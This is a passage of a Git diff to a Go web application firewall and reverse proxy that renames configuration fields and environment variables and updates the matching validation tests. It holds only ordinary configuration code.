LimitBanPermanentAbove: 7 * day,
|
||||
AttackBanDuration: 7 * day,
|
||||
MaxBans: 5000,
|
||||
LimitBanDuration: time.Hour,
|
||||
LimitBanRepeatWindow: day,
|
||||
MaxBanDuration: 7 * day,
|
||||
AttackBanDuration: 7 * day,
|
||||
MaxBans: 5000,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -16,7 +16,6 @@ import (
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
)
|
||||
@@ -37,9 +36,7 @@ const (
|
||||
var (
|
||||
errNotSize = errors.New(
|
||||
"is not a size such as 512K, 100M or 5G, or off")
|
||||
errNotPositive = errors.New("must be more than zero, or off")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
errNotPositive = errors.New("must be more than zero, or off")
|
||||
errEmptyItem = errors.New("has an empty item in its list")
|
||||
errNotNetblock = errors.New(
|
||||
"is not a netblock such as 10.0.0.0/8, or an address")
|
||||
@@ -65,10 +62,10 @@ func Command(v *viper.Viper) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
// environment is where WAFFromEnvironment and RProxyFromEnvironment read the
|
||||
// settings: it notes each value for the log, and keeps the first error. It
|
||||
// reads every setting through v, the viper NewViper returns, and honours
|
||||
// each setting's _FILE form too.
|
||||
// environment is where FromEnvironment reads the settings: it notes each
|
||||
// value for the log, and keeps the first error. It reads every setting
|
||||
// through v, the viper NewViper returns, and honours each setting's _FILE
|
||||
// form too.
|
||||
type environment struct {
|
||||
v *viper.Viper
|
||||
settings []slog.Attr
|
||||
@@ -165,19 +162,6 @@ func (e *environment) size(name, defaultValue string) int64 {
|
||||
return size
|
||||
}
|
||||
|
||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||
// zero.
|
||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// parseSize reads a number of bytes with an optional K, M or G suffix, in
|
||||
// powers of 1024 (1K is 1024 bytes), or off.
|
||||
func parseSize(value string) (int64, error) {
|
||||
@@ -214,17 +198,6 @@ func splitUnit(value string) (string, int64) {
|
||||
}
|
||||
}
|
||||
|
||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||
// reports whether it is one.
|
||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||
n, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
return time.Duration(n) * time.Millisecond, true
|
||||
}
|
||||
|
||||
// parseList splits a comma-separated list and trims the spaces around
|
||||
// each item. An empty value is an empty list.
|
||||
func parseList(value string) ([]string, error) {
|
||||
|
||||
+38
-16
@@ -4,6 +4,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"math"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"strconv"
|
||||
@@ -24,15 +25,13 @@ type RProxy struct {
|
||||
TrustedProxies []netip.Prefix
|
||||
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
|
||||
WAFBackend *url.URL
|
||||
// WAFBackendTimeout is how long rproxy waits for waf's answer to a
|
||||
// question, and to a report (SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS). It
|
||||
// cannot be off.
|
||||
WAFBackendTimeout time.Duration
|
||||
// WAFBackendNoAnswerDisposition is what is done with a request when waf
|
||||
// cannot be connected to, does not answer at all, or does not answer
|
||||
// within WAFBackendTimeout: allow or deny
|
||||
// (SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION).
|
||||
WAFBackendNoAnswerDisposition string
|
||||
// Timeout is how long rproxy waits for waf's answer to a question,
|
||||
// and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
|
||||
Timeout time.Duration
|
||||
// DefaultDisposition is what is done with a request when waf cannot be
|
||||
// connected to, does not answer at all, or does not answer within Timeout:
|
||||
// allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
|
||||
DefaultDisposition string
|
||||
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
||||
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
||||
MaxRequestSize int64
|
||||
@@ -63,7 +62,9 @@ var (
|
||||
"such as http://127.0.0.1:8081")
|
||||
errNeedsWAFBackend = errors.New(
|
||||
"is required: it is waf's URL, such as http://waf:8080")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotDisposition = errors.New("is not allow or deny")
|
||||
errNotMilliseconds = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 2000")
|
||||
errNotMillisecondsOrOff = errors.New(
|
||||
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
||||
)
|
||||
@@ -88,12 +89,9 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
||||
privateRanges,
|
||||
),
|
||||
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
||||
WAFBackendTimeout: env.milliseconds(
|
||||
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS",
|
||||
"2000",
|
||||
),
|
||||
WAFBackendNoAnswerDisposition: env.disposition(
|
||||
"SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION",
|
||||
Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
|
||||
DefaultDisposition: env.disposition(
|
||||
"SWW_RPROXY_DEFAULT_DISPOSITION",
|
||||
"allow",
|
||||
),
|
||||
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
||||
@@ -175,6 +173,19 @@ func (e *environment) disposition(name, defaultValue string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||
// zero.
|
||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||
// above zero, or off, which is 0.
|
||||
func (e *environment) millisecondsOrOff(
|
||||
@@ -193,6 +204,17 @@ func (e *environment) millisecondsOrOff(
|
||||
return duration
|
||||
}
|
||||
|
||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||
// reports whether it is one.
|
||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||
n, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
return time.Duration(n) * time.Millisecond, true
|
||||
}
|
||||
|
||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
||||
// optional port from 1 to 65535, and nothing else, since the request's
|
||||
// own path and query go to the app unchanged.
|
||||
|
||||
@@ -15,20 +15,20 @@ import (
|
||||
|
||||
// rproxy's settings, by name, and their values in these tests.
|
||||
const (
|
||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
backendURL = "http://waf:8080"
|
||||
rproxyNoAnswerAddr = ":8080"
|
||||
rproxyNoAnswerApp = "http://127.0.0.1:8081"
|
||||
notASize = "a lot"
|
||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
||||
rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
backendURL = "http://waf:8080"
|
||||
rproxyDefaultAddr = ":8080"
|
||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||
notASize = "a lot"
|
||||
)
|
||||
|
||||
// rproxyConfig reads rproxy's settings from env.
|
||||
@@ -44,8 +44,8 @@ func TestRProxyDefaults(t *testing.T) {
|
||||
t.Fatalf("settings: %v", err)
|
||||
}
|
||||
|
||||
if cfg.ListenAddr != rproxyNoAnswerAddr ||
|
||||
cfg.UpstreamURL.String() != rproxyNoAnswerApp ||
|
||||
if cfg.ListenAddr != rproxyDefaultAddr ||
|
||||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
||||
cfg.WAFBackend.String() != backendURL {
|
||||
t.Errorf(
|
||||
"addresses %q, %v, %v",
|
||||
@@ -55,12 +55,11 @@ func TestRProxyDefaults(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
if cfg.WAFBackendTimeout != 2*time.Second ||
|
||||
cfg.WAFBackendNoAnswerDisposition != "allow" {
|
||||
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
||||
t.Errorf(
|
||||
"waf backend timeout %v, no-answer disposition %q",
|
||||
cfg.WAFBackendTimeout,
|
||||
cfg.WAFBackendNoAnswerDisposition,
|
||||
"timeout %v, default disposition %q",
|
||||
cfg.Timeout,
|
||||
cfg.DefaultDisposition,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -91,8 +90,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
||||
rproxyListen: ":9000",
|
||||
rproxyUpstream: "http://app:3000",
|
||||
rproxyTrusted: "192.0.2.0/24",
|
||||
wafBackendTimeout: "150",
|
||||
rproxyNoAnswer: "deny",
|
||||
rproxyTimeout: "150",
|
||||
rproxyDefault: "deny",
|
||||
rproxyMaxRequest: "1K",
|
||||
rproxyMaxResponse: off,
|
||||
rproxyRequestTime: off,
|
||||
@@ -108,8 +107,8 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
||||
t.Errorf("addresses %+v", cfg)
|
||||
}
|
||||
|
||||
if cfg.WAFBackendTimeout != 150*time.Millisecond ||
|
||||
cfg.WAFBackendNoAnswerDisposition != "deny" ||
|
||||
if cfg.Timeout != 150*time.Millisecond ||
|
||||
cfg.DefaultDisposition != "deny" ||
|
||||
cfg.MaxRequestSize != 1024 ||
|
||||
cfg.MaxResponseSize != 0 ||
|
||||
cfg.MaxRequestTime != 0 ||
|
||||
@@ -127,13 +126,13 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
||||
{wafBackend, ""},
|
||||
{wafBackend, "waf:8080"},
|
||||
{wafBackend, "http://waf:8080/path"},
|
||||
{wafBackendTimeout, "0"},
|
||||
{wafBackendTimeout, "-1"},
|
||||
{wafBackendTimeout, off},
|
||||
{wafBackendTimeout, "2s"},
|
||||
{wafBackendTimeout, "1.25"},
|
||||
{wafBackendTimeout, "99999999999999999"},
|
||||
{rproxyNoAnswer, "maybe"},
|
||||
{rproxyTimeout, "0"},
|
||||
{rproxyTimeout, "-1"},
|
||||
{rproxyTimeout, off},
|
||||
{rproxyTimeout, "2s"},
|
||||
{rproxyTimeout, "1.25"},
|
||||
{rproxyTimeout, "99999999999999999"},
|
||||
{rproxyDefault, "maybe"},
|
||||
{rproxyListen, "8080"},
|
||||
{rproxyUpstream, "app"},
|
||||
{rproxyUpstream, "127.0.0.1:8081"},
|
||||
@@ -220,11 +219,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
||||
|
||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||
_, err := rproxyConfig(map[string]string{
|
||||
wafBackend: backendURL,
|
||||
wafBackendTimeout + "_FILE": path,
|
||||
wafBackend: backendURL,
|
||||
rproxyTimeout + "_FILE": path,
|
||||
})
|
||||
|
||||
want := wafBackendTimeout + "_FILE: cannot be read: "
|
||||
want := rproxyTimeout + "_FILE: cannot be read: "
|
||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||
}
|
||||
@@ -247,8 +246,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
|
||||
rproxyNoAnswer,
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
|
||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||
} {
|
||||
if !slices.Contains(names, name) {
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
||||
t.Setenv(adminToken, "")
|
||||
|
||||
_, err := config.WAFFromEnvironment(config.NewViper())
|
||||
_, err := config.FromEnvironment(config.NewViper())
|
||||
|
||||
want := adminToken + ": is shorter than 32 characters"
|
||||
if err == nil || err.Error() != want {
|
||||
|
||||
+197
-230
@@ -27,8 +27,9 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||
)
|
||||
|
||||
// WAF is the settings of `sww waf`. A time or size limit of zero is off.
|
||||
type WAF struct {
|
||||
// Config is the settings of `sww waf`. A time or size limit of
|
||||
// zero is off.
|
||||
type Config struct {
|
||||
// ListenAddr is where waf listens (SWW_WAF_LISTEN_ADDR).
|
||||
ListenAddr string
|
||||
// InstanceName is the name every log line and alert gives as instance,
|
||||
@@ -69,26 +70,25 @@ type WAF struct {
|
||||
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
|
||||
// most bytes a client's requests may carry in a minute, an hour and a
|
||||
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
|
||||
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCounted is which body bytes count
|
||||
// toward them and the byte anomaly thresholds (SWW_WAF_BYTES_COUNTED):
|
||||
// response, request or both.
|
||||
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
|
||||
// toward them (SWW_WAF_BYTES_COUNT): response, request or both.
|
||||
BytesLimitPerMinute int64
|
||||
BytesLimitPerHour int64
|
||||
BytesLimitPerDay int64
|
||||
BytesCounted string
|
||||
// LookupSource is where each client's AS number and country are looked
|
||||
// up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up in
|
||||
// while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||
// other source. A request waits up to ASNAndCountryLookupTimeout for its
|
||||
// client's first answer from GeoJS while a setting needs it
|
||||
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS), which cannot be off.
|
||||
// AddLookupHeaders is true when the app is passed the client's AS number
|
||||
// and country in headers (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||
LookupSource string
|
||||
LookupDBPath string
|
||||
ASNAndCountryLookupTimeout time.Duration
|
||||
AddLookupHeaders bool
|
||||
BytesCount string
|
||||
// LookupSource is where each client's AS number and country are
|
||||
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
|
||||
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||
// other source. A request waits up to LookupTimeout for its client's
|
||||
// first answer from GeoJS while a setting needs it
|
||||
// (SWW_WAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
|
||||
// when the app is passed the client's AS number and country in headers
|
||||
// (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||
LookupSource string
|
||||
LookupDBPath string
|
||||
LookupTimeout time.Duration
|
||||
AddLookupHeaders bool
|
||||
// ExclusivelyAllowedCountries, when not empty, are the only countries
|
||||
// whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES),
|
||||
// two-letter codes in capitals, as GeoJS gives them.
|
||||
@@ -105,22 +105,21 @@ type WAF struct {
|
||||
// RouteWatchURL is where the routewatch instance is that adds the asn=
|
||||
// and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL).
|
||||
RouteWatchURL string
|
||||
// The biased thresholds. ASNBytesLimitPercent and
|
||||
// CountryBytesLimitPercent give those they list a percentage of the byte
|
||||
// limits in place of the one TagLimitPercent gives their asn= or
|
||||
// country= tag (SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
|
||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT). Each holds percentages from 0 to
|
||||
// 100, by AS number, written as AS64496, or by country, a two-letter
|
||||
// code in capitals, as the lookup gives them. UnknownCountryLimitPercent
|
||||
// is the percentage of every limit a client without a country gets
|
||||
// (SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT). ASNLimitPercentURL is
|
||||
// The biased thresholds. ASNBytesPercent and CountryBytesPercent give
|
||||
// those they list a percentage of the byte limits in place of the one
|
||||
// TagLimitPercent gives their asn= or country= tag
|
||||
// (SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT). Each holds
|
||||
// percentages from 0 to 100, by AS number, written as AS64496, or by
|
||||
// country, a two-letter code in capitals, as the lookup gives them.
|
||||
// UnknownLimitPercent is the percentage of every limit a client without
|
||||
// a country gets (SWW_WAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
|
||||
// where a file of AS:percent lines is fetched from, whose percentages
|
||||
// count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL),
|
||||
// "" while it is unset.
|
||||
ASNBytesLimitPercent map[string]int64
|
||||
CountryBytesLimitPercent map[string]int64
|
||||
UnknownCountryLimitPercent int64
|
||||
ASNLimitPercentURL string
|
||||
ASNBytesPercent map[string]int64
|
||||
CountryBytesPercent map[string]int64
|
||||
UnknownLimitPercent int64
|
||||
ASNLimitPercentURL string
|
||||
// BlocklistURLs are where the blocklists are fetched from
|
||||
// (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
|
||||
// fetched again BlocklistRefresh after it was last fetched or tried
|
||||
@@ -140,23 +139,21 @@ type WAF struct {
|
||||
// of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and
|
||||
// at most AbuseIPDBDailyBudget checks are made a day
|
||||
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
||||
// DNSBLAbuseIPDBAction is what is done with a client a zone's verdict
|
||||
// lists, or whose score is a hit (SWW_WAF_DNSBL_ABUSEIPDB_ACTION): deny,
|
||||
// limit or log; for limit, DNSBLAbuseIPDBLimitPercent is the percentage
|
||||
// of every limit it gets. A verdict or a score is used for
|
||||
// IPReputationCacheTTL after it was fetched
|
||||
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and a query or a check may take
|
||||
// DNSBLAbuseIPDBTimeout (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). Neither
|
||||
// can be off.
|
||||
DNSBLZones []string
|
||||
DNSBLResolver netip.AddrPort
|
||||
AbuseIPDBKey string
|
||||
AbuseIPDBMinScore int64
|
||||
AbuseIPDBDailyBudget int
|
||||
DNSBLAbuseIPDBAction string
|
||||
DNSBLAbuseIPDBLimitPercent int64
|
||||
IPReputationCacheTTL time.Duration
|
||||
DNSBLAbuseIPDBTimeout time.Duration
|
||||
// ReputationAction is what is done with a client a zone's verdict lists,
|
||||
// or whose score is a hit (SWW_WAF_REPUTATION_ACTION): deny, limit or log;
|
||||
// for limit, ReputationLimitPercent is the percentage of every limit it
|
||||
// gets. A verdict or a score is used for ReputationCacheTTL after it was
|
||||
// fetched (SWW_WAF_REPUTATION_CACHE_TTL), and a query or a check may take
|
||||
// ReputationTimeout (SWW_WAF_REPUTATION_TIMEOUT). Neither can be off.
|
||||
DNSBLZones []string
|
||||
DNSBLResolver netip.AddrPort
|
||||
AbuseIPDBKey string
|
||||
AbuseIPDBMinScore int64
|
||||
AbuseIPDBDailyBudget int
|
||||
ReputationAction string
|
||||
ReputationLimitPercent int64
|
||||
ReputationCacheTTL time.Duration
|
||||
ReputationTimeout time.Duration
|
||||
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
|
||||
// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
|
||||
// that URL with v1/decisions added to its path, "" while it is unset and
|
||||
@@ -174,11 +171,11 @@ type WAF struct {
|
||||
// (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within
|
||||
// LimitBanRepeatWindow after the last ban ended bans for three times
|
||||
// as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that
|
||||
// would be longer than LimitBanPermanentAbove is permanent instead
|
||||
// (SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE). None of them can be off.
|
||||
LimitBanDuration time.Duration
|
||||
LimitBanRepeatWindow time.Duration
|
||||
LimitBanPermanentAbove time.Duration
|
||||
// would be longer than MaxBanDuration is permanent instead
|
||||
// (SWW_WAF_MAX_BAN_DURATION). None of them can be off.
|
||||
LimitBanDuration time.Duration
|
||||
LimitBanRepeatWindow time.Duration
|
||||
MaxBanDuration time.Duration
|
||||
// AttackBanDuration is the ban for a first clear sign of attack
|
||||
// (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off.
|
||||
AttackBanDuration time.Duration
|
||||
@@ -188,13 +185,13 @@ type WAF struct {
|
||||
// client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX).
|
||||
BanScopeV4Prefix int
|
||||
// StateDir is the directory of the state files, an absolute path
|
||||
// (SWW_WAF_STATE_DIR). bans.json is written BansWriteDelay after a ban
|
||||
// is made (SWW_WAF_BANS_WRITE_DELAY), and every state and cache file
|
||||
// every StateWriteInterval (SWW_WAF_STATE_WRITE_INTERVAL). Neither
|
||||
// (SWW_WAF_STATE_DIR). bans.json is written StateWriteDelay after a ban
|
||||
// is made (SWW_WAF_STATE_WRITE_DELAY), and every state and cache file
|
||||
// every StateCounterInterval (SWW_WAF_STATE_COUNTER_INTERVAL). Neither
|
||||
// can be off.
|
||||
StateDir string
|
||||
BansWriteDelay time.Duration
|
||||
StateWriteInterval time.Duration
|
||||
StateDir string
|
||||
StateWriteDelay time.Duration
|
||||
StateCounterInterval time.Duration
|
||||
// CacheDir is the directory of the cache files, which keep answers
|
||||
// from outside services, an absolute path (SWW_WAF_CACHE_DIR).
|
||||
CacheDir string
|
||||
@@ -210,38 +207,32 @@ type WAF struct {
|
||||
AdminToken string
|
||||
// MetricsToken is the bearer token a scraper sends for the metrics
|
||||
// (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off.
|
||||
// MetricsBusiestCountriesAndASNs is how many AS numbers and how many
|
||||
// countries get series of their own in the metrics
|
||||
// (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS).
|
||||
MetricsToken string
|
||||
MetricsBusiestCountriesAndASNs int
|
||||
// RuleFilesDir is the directory of the rule files
|
||||
// (SWW_WAF_RULE_FILES_DIR), read unless RuleFilesEnabled is false
|
||||
// (SWW_WAF_RULE_FILES_ENABLED).
|
||||
RuleFilesDir string
|
||||
RuleFilesEnabled bool
|
||||
// CoreRuleSetMode is what the Core Rule Set does
|
||||
// (SWW_WAF_CORE_RULE_SET_MODE): CoreRuleSetModeOff,
|
||||
// CoreRuleSetModeDetect or CoreRuleSetModeBlock.
|
||||
// CoreRuleSetParanoiaLevel is its paranoia level, from 1 to 4
|
||||
// (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and CoreRuleSetScoreThreshold
|
||||
// the anomaly score at which a request is a match
|
||||
// (SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD), 0 while it is off.
|
||||
// CoreRuleSetDisabledRules are the ids of its rules switched off
|
||||
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES), CoreRuleSetExemptPaths the
|
||||
// path prefixes it does not inspect (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS),
|
||||
// and CoreRuleSetBodyInspectionSize the most of a request body it reads
|
||||
// (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off and it
|
||||
// reads none.
|
||||
// MetricsTopN is how many AS numbers and how many countries get series
|
||||
// of their own in the metrics (SWW_WAF_METRICS_TOP_N).
|
||||
MetricsToken string
|
||||
MetricsTopN int
|
||||
// RulesDir is the directory of the rule files (SWW_WAF_RULES_DIR), read
|
||||
// unless RulesEnabled is false (SWW_WAF_RULES_ENABLED).
|
||||
RulesDir string
|
||||
RulesEnabled bool
|
||||
// WAFMode is what the Core Rule Set does (SWW_WAF_CORE_RULE_SET_MODE): WAFModeOff,
|
||||
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
|
||||
// level, from 1 to 4 (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and
|
||||
// WAFAnomalyThreshold the anomaly score at which a request is a match
|
||||
// (SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
|
||||
// are the ids of its rules switched off (SWW_WAF_CORE_RULE_SET_DISABLED_RULES),
|
||||
// WAFExemptPaths the path prefixes it does not inspect
|
||||
// (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
|
||||
// it reads (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
||||
// CoreRuleSetExclusionsFile is the path of the file of its exclusions
|
||||
// (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
|
||||
CoreRuleSetMode string
|
||||
CoreRuleSetParanoiaLevel int
|
||||
CoreRuleSetScoreThreshold int
|
||||
CoreRuleSetDisabledRules []int
|
||||
CoreRuleSetExemptPaths []string
|
||||
CoreRuleSetBodyInspectionSize int64
|
||||
CoreRuleSetExclusionsFile string
|
||||
WAFMode string
|
||||
WAFParanoiaLevel int
|
||||
WAFAnomalyThreshold int
|
||||
WAFDisabledRules []int
|
||||
WAFExemptPaths []string
|
||||
WAFBodyLimit int64
|
||||
CoreRuleSetExclusionsFile string
|
||||
// Apps are the names of the apps each hostname serves, by hostname in
|
||||
// lowercase (SWW_WAF_APPS): a request gets only its hostname's apps' fixes
|
||||
// to the Core Rule Set. Apps is nil while SWW_WAF_APPS is unset, and every
|
||||
@@ -250,26 +241,25 @@ type WAF struct {
|
||||
// TrapPaths are the paths a request for which is a clear sign of
|
||||
// attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?.
|
||||
TrapPaths []string
|
||||
// RefusalsLimitPerMinute is the most requests of a client within a minute
|
||||
// ErrorBurstThreshold is the most requests of a client within a minute
|
||||
// that waf may refuse after a rule file or Core Rule Set match; one
|
||||
// more breaks a limit (SWW_WAF_REFUSALS_LIMIT_PER_MINUTE). 0 is off.
|
||||
RefusalsLimitPerMinute int64
|
||||
// more breaks a limit (SWW_WAF_ERROR_BURST_THRESHOLD). 0 is off.
|
||||
ErrorBurstThreshold int64
|
||||
// LogRemoteURL is where every line on stdout is also sent
|
||||
// (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
|
||||
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
|
||||
// certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while
|
||||
// it is unset and the host's own are used. LogRemoteBufferLines is the
|
||||
// most lines held while they wait to be sent
|
||||
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
||||
// it is unset and the host's own are used. LogRemoteBuffer is the most
|
||||
// lines held while they wait to be sent (SWW_WAF_LOG_REMOTE_BUFFER).
|
||||
// LogRemoteFacility is the number of the syslog facility
|
||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
|
||||
// (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
|
||||
// the lines are sent in.
|
||||
LogRemoteURL *url.URL
|
||||
LogRemoteTLSCAs *x509.CertPool
|
||||
LogRemoteBufferLines int
|
||||
LogRemoteFacility int
|
||||
LogRemoteAppName string
|
||||
LogRemoteURL *url.URL
|
||||
LogRemoteTLSCAs *x509.CertPool
|
||||
LogRemoteBuffer int
|
||||
LogRemoteFacility int
|
||||
